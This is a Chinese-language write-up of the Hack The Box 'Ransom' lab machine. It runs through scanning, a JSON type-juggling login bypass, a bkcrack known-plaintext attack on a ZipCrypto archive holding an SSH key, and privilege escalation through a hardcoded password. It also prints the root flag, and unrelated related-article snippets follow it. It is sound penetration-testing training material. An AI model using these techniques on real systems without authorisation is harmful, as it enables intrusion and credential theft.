HTB:Ransom[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用ffuf对靶机80端口进行路径FUZZ
访问/register路径可见疑似网页源码泄露
访问/login路径查看HTML源码
边界突破
尝试对/login路径中的参数进行SQL注入
使用Yakit进行抓包可见该路径使用GET方法发送请求
使用sqlmap对该路径进行自动化注入
通过findsomething插件可见该路径使用接口:/api/login
尝试通过POST方法访问该接口
使用arjun对该接口进行参数FUZZ
尝试直接在接口后拼接password参数获得响应码200
使用Yakit中的Fuzzer进行爆破发现请求数被限制
尝试构造JSON格式的数据以GET方法发包
通过验证后可下载两个文件
另一为.zip压缩且存在解压密码
使用7z查看该压缩包内的文件压缩属性
直接在任意Linux系统中查找该文件
使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩
使用bkcrack对压缩包密钥进行爆破
利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
为id_rsa文件赋权,使其符合SSH服务安全连接标准
使用id_rsa私钥文件对靶机SSH服务进行登录
权限提升
查看靶机系统内存在的用户
尝试查看当前用户可sudo执行的二进制文件
查找系统中的SUID文件
查找系统中的CAP_SUID文件
查看靶机系统中的网络连接
查看当前靶机系统中的进程
由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件
将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
我尝试利用该密码直接切换到root用户
查找root.txt文件
连接至HTB服务器并启动靶机
靶机IP:10.10.11.153
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.153 -r 1-65535 --ulimit 5000
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p22,80 --script=vuln -O -Pn 10.10.11.153
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.153
使用ffuf对靶机80端口进行路径FUZZ
ffuf -u http://10.10.11.153/FUZZ -w ../dictionary/Entire-Dir.txt -t 200
访问/register路径可见疑似网页源码泄露
- 但是翻了一圈并没有敏感信息泄露
访问/login路径查看HTML源码
- 依然没有敏感信息泄露
边界突破
尝试对/login路径中的参数进行SQL注入
- 由于该接口挂载了无法通信的CDN所以加载会有些慢
使用Yakit进行抓包可见该路径使用GET方法发送请求
使用sqlmap对该路径进行自动化注入
sqlmap -u http://10.10.11.153/login?password=123456 --batch --level=5 --risk=3
- 这里跑了半天最后也没出Payload
通过findsomething插件可见该路径使用接口:/api/login
尝试通过POST方法访问该接口
- 通过响应可知该接口不允许使用POST方法
- 修改为GET方法后响应码302
使用arjun对该接口进行参数FUZZ
arjun -u http://10.10.11.153/api/login
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# arjun -u http://10.10.11.153/api/login
_
/_| _ '
( |/ /(//) v2.2.6
_/[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[+] Heuristic scanner found 1 parameter: password
[*] Logicforcing the URL endpoint
[!] No parameters were discovered.
尝试直接在接口后拼接password参数获得响应码200
- 响应内容:Invalid Password,这里我尝试测试弱口令
使用Yakit中的Fuzzer进行爆破发现请求数被限制
尝试构造JSON格式的数据以GET方法发包
- 发现可以正常收到200响应,那如果将password改成其他参数呢?
通过验证后可下载两个文件
- 其中user.txt文件
另一为.zip压缩且存在解压密码
- 感觉像在做CTF :=)
使用7z查看该压缩包内的文件压缩属性
- ZipCrypto Deflate这种算法适用已知明文攻击
- 不了解压缩包明文攻击的师傅可以查看下方我撰写的另一篇博文
Bugku CTF:请攻击这个压缩包[WriteUP]_zip明文攻击-CSDN博客
- 在该加密的压缩包中,.bash_logout文件内容通常是固定的
直接在任意Linux系统中查找该文件
locate .bash_logout
- 其内容如下
cat /home/kali/.bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.# when leaving the console clear the screen to increase privacyif [ "$SHLVL" = 1 ]; then[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩
使用bkcrack对压缩包密钥进行爆破
./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P 1.zip -p .bash_logout
- 获得三段密钥
7b549874 ebc25ec5 7e465e18
利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
/bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
bkcrack 1.7.1 - 2024-12-21
[05:33:06] Writing unlocked archive final.zip with password "0dayhp"
100.0 % (9 / 9)
Wrote unlocked archive.
对该压缩包进行解压后,分别查看authorized_keys、id_rsa.pub文件内容
- 由输出可见两个公钥文件内容一模一样,且用户名为htb
为id_rsa文件赋权,使其符合SSH服务安全连接标准
chmod 600 id_rsa
使用id_rsa私钥文件对靶机SSH服务进行登录
ssh htb@10.10.11.153 -i id_rsa
权限提升
查看靶机系统内存在的用户
cat /etc/passwd
尝试查看当前用户可sudo执行的二进制文件
sudo -l
- 没有htb用户密码,只能作罢
htb@ransom:~$ sudo -l
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
sudo: 3 incorrect password attempts
查找系统中的SUID文件
find / -perm -4000 -ls -type f 2>/dev/null
- 显然,这里面没有能让我们感兴趣的文件
查找系统中的CAP_SUID文件
getcap / 2>/dev/null
- 运行后鸦雀无声
htb@ransom:~$ getcap / 2>/dev/null
htb@ransom:~$
查看靶机系统中的网络连接
ss -tlnp
- 这里也没什么特别的
查看当前靶机系统中的进程
ps -aux
由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件
find / -name '*.php' -type f 2>/dev/null | grep -i auth | tee list
将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
cat list | xargs -I {} sh -c 'cat {} | grep -i "password"' | grep -E '==|:'
- 在输出中,第二行代码最引人注目
if ($request->get('password') == "UHC-March-Global-PW!") {
我尝试利用该密码直接切换到root用户
htb@ransom:/tmp$ su root
Password:
root@ransom:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ransom:/tmp# whoami
root
查找root.txt文件
find / -name 'root.txt'
root@ransom:/tmp# find / -name 'root.txt'
/root/root.txt
root@ransom:/tmp# cat /root/root.txt
943b5a4a3b1ade93547c62304a379110
相关文章:

HTB:Ransom[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用ffuf对靶机80端口进行路径FUZZ 访问/regist…...

Eclipse配置Tomcat服务器(最全图文详解)
前言: 本章使用图文讲解如何在Eclipse开发工具中配置Tomcat服务器、如何创建和启动JavaWeb工程,欢迎童鞋们互相交流。觉得不错可以三连订阅喔。 目标: 一、配置Tomcat服务器 1. 切换Eclipse视图 2. 打开菜单 3. 找到服务选项 4. 选择…...

STM32烧写失败之Contents mismatch at: 0800005CH (Flash=FFH Required=29H) !
一)问题:用ULINK2给STM32F103C8T6下载程序,下载方式设置如下: 出现下面两个问题: 1)下载问题界面如下: 这个错误的信息大概可以理解为,在0x08000063地址上读取到flash存储为FF&am…...

用户界面的UML建模10
非正常的可视反馈可伴随着同步事件发生,而同步事件可由系统动作产生。但是,可以分别对它们进行建模。 在下节中将对这些特殊的事件依次进行论述。 6.1 异常处理建模 异常,由Meyer 定义[16],其作为运行时事件(run-time events&a…...

电影动画shader解析与实现
着色器代码解析 大家好!我是 [数擎AI],一位热爱探索新技术的前端开发者,在这里分享前端和Web3D、AI技术的干货与实战经验。如果你对技术有热情,欢迎关注我的文章,我们一起成长、进步! 开发领域:…...
蓝桥杯 第十五届 研究生组 B题 召唤数学精灵
问题描述: 数学家们发现了两种用于召唤强大的数学精灵的仪式,这两种仪式分别被称为累加法仪式 A(n) 和累乘法仪式 B(n)。累加法仪式 A(n) 是将从 1 到 n 的所有数字进行累加求和,即:A(n)12⋯n累乘法仪式 B(n) 则是将从 1 到 n 的所…...
在 Go 应用中 如何像 FastAPI 一样优雅地构建控制器
文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons:JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram,自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 ? 5 IDEA必装的插件&…...

用户界面的UML建模11
然而,在用户界面方面,重要的是要了解《boundary》类是如何与这个异常分层结构进行关联的。 《exception》类的对象可以作为《control》类的对象。因此,《exception》类能够聚合《boundary》类。 参见图12,《exception》Database…...
历代iPhone运行内存大小和电池容量信息
系列设备名称充电端口标配充电线PD快充无线充电 (W)标配充电器电池容量 (mAh)发布时间RAM运存iPhone 16iPhone 16 Pro MaxUSB Type-CUSB-C to USB-C支持25无47472024/9/108GB LPDDR5XiPhone 16 ProUSB Type-CUSB-C to USB-C支持25无35772024/9/108GB LPDDR5XiPhone 16 PlusUSB …...

计算机网络之---物理层设备
什么是物理层设备 物理层设备是指负责数据在物理媒介上传输的硬件设备,它们主要处理数据的转换、信号的传输与接收,而不涉及数据的内容或意义。常见的物理层设备包括网卡、集线器、光纤收发器、调制解调器等。 物理层设备有哪些 1、网卡(N…...

57. Three.js案例-创建一个带有聚光灯和旋转立方体的3D场景
57. Three.js案例-创建一个带有聚光灯和旋转立方体的3D场景 实现效果 该案例实现了使用Three.js创建一个带有聚光灯和旋转立方体的3D场景。 知识点 WebGLRenderer(WebGL渲染器) THREE.WebGLRenderer 是 Three.js 中用于将场景渲染为 WebGL 内容的核…...

第八讲 一元函数积分学的概念和性质
不定积分 1.原函数与不定积分 需知道:F(X)可导必连续 2.原函数(不定积分)存在定理 (1)连续函数f(x)必有原函数F(x) (2)含有第一类间断点和无穷间断点的函数f(x)在包含该间断点的区间内必没有原函数F(x). 速记:只有震荡可能有…...

ADMM原理及应用
文章目录 1. ADMM原理1.1. 数学形式1.2. 传统“乘子法”和它的不足1.3. ADMM 的核心思想:分步做1.4. Scaled Form of ADMM1.5. 迭代过程中主要检查的两大残差1.6. 怎么设置停止准则(Stopping Criteria)?1.7. 自适应调整罚参数 ρ \rho ρ(又…...

mysql之sql的优化方案(重点)
1、全字段匹配是最棒的 假如一个Staffs 这个表,将 name,age ,pos 组合成了一个联合索引,在where条件下,能够使用到的索引越多越好。 EXPLAIN SELECT * FROM staffs WHERE NAME July; EXPLAIN SELECT * FROM staffs WHERE NAME July AND age…...
【LeetCode】303. 区域和检索 - 数组不可变
目录 描述Python1. 前缀和 描述 给定一个整数数组nums,处理以下类型的多个查询:计算索引left和right(包含left和right)之间的nums元素的 和 ,其中left < right 实现NumArray类: NumArray(int[] nums)&a…...
前端开发 vue 中如何实现 u-form 多个form表单同时校验
在 Vue 项目中使用 UView UI 的 u-form 组件时,多个表单同时校验的需求非常常见。例如,当我们有多个表单需要在同一个页面中进行校验并提交时,我们需要确保每个表单都能进行单独验证,同时可以在同一时刻进行批量验证。 接下来&am…...

【网络】什么是速率 (Rate)带宽 (Bandwidth)吞吐量 (Throughput)?
注意单位: 在 kbps、Mbps、Gbps 中,前面的 k、M、G 是 国际单位制(SI) 的前缀,表示不同的数量级: k(千/kilo): (10^3 1,000) kbps(kilobits per second): 每秒 1,000 位(…...

(leetcode算法题)769. 最多能完成排序的块
Q1. 是否能用贪心算法?为什么? 先预设一个策略,每当当前的nums[i]满足可以 "成块",就直接让这个数成块,也就是说之后的遍历过程中不会将这个数在考虑到自己的块内, "成块" 是指只要只…...

高光谱相机的特点
光谱特性 高光谱分辨率:能将光谱范围分割成极窄的波段,光谱分辨率通常达到纳米级甚至亚纳米级,可精确捕捉到不同物质在细微光谱差异上的特征,比如可以区分不同种类的植被因叶绿素含量等差异而在光谱上的细微变化。 多波段探测&a…...

《Spring Framework实战》8:4.1.3.Bean 概述
欢迎观看《Spring Framework实战》视频教程 Spring IoC 容器管理一个或多个 bean。这些 bean 是使用 您提供给容器的配置元数据(例如,以 XML <bean/>定义的形式)。 在容器本身中,这些 bean 定义表示为BeanDefinition对象&a…...

基于FPGA的PID算法学习———实现PID比例控制算法
基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容:参考网站: PID算法控制 PID即:Proportional(比例)、Integral(积分&…...
R语言AI模型部署方案:精准离线运行详解
R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...
从零实现富文本编辑器#5-编辑器选区模型的状态结构表达
先前我们总结了浏览器选区模型的交互策略,并且实现了基本的选区操作,还调研了自绘选区的实现。那么相对的,我们还需要设计编辑器的选区表达,也可以称为模型选区。编辑器中应用变更时的操作范围,就是以模型选区为基准来…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
Qt Widget类解析与代码注释
#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码,写上注释 当然可以!这段代码是 Qt …...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...

ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...

AI病理诊断七剑下天山,医疗未来触手可及
一、病理诊断困局:刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断",医生需通过显微镜观察组织切片,在细胞迷宫中捕捉癌变信号。某省病理质控报告显示,基层医院误诊率达12%-15%,专家会诊…...

免费PDF转图片工具
免费PDF转图片工具 一款简单易用的PDF转图片工具,可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件,也不需要在线上传文件,保护您的隐私。 工具截图 主要特点 🚀 快速转换:本地转换,无需等待上…...

高端性能封装正在突破性能壁垒,其芯片集成技术助力人工智能革命。
2024 年,高端封装市场规模为 80 亿美元,预计到 2030 年将超过 280 亿美元,2024-2030 年复合年增长率为 23%。 细分到各个终端市场,最大的高端性能封装市场是“电信和基础设施”,2024 年该市场创造了超过 67% 的收入。…...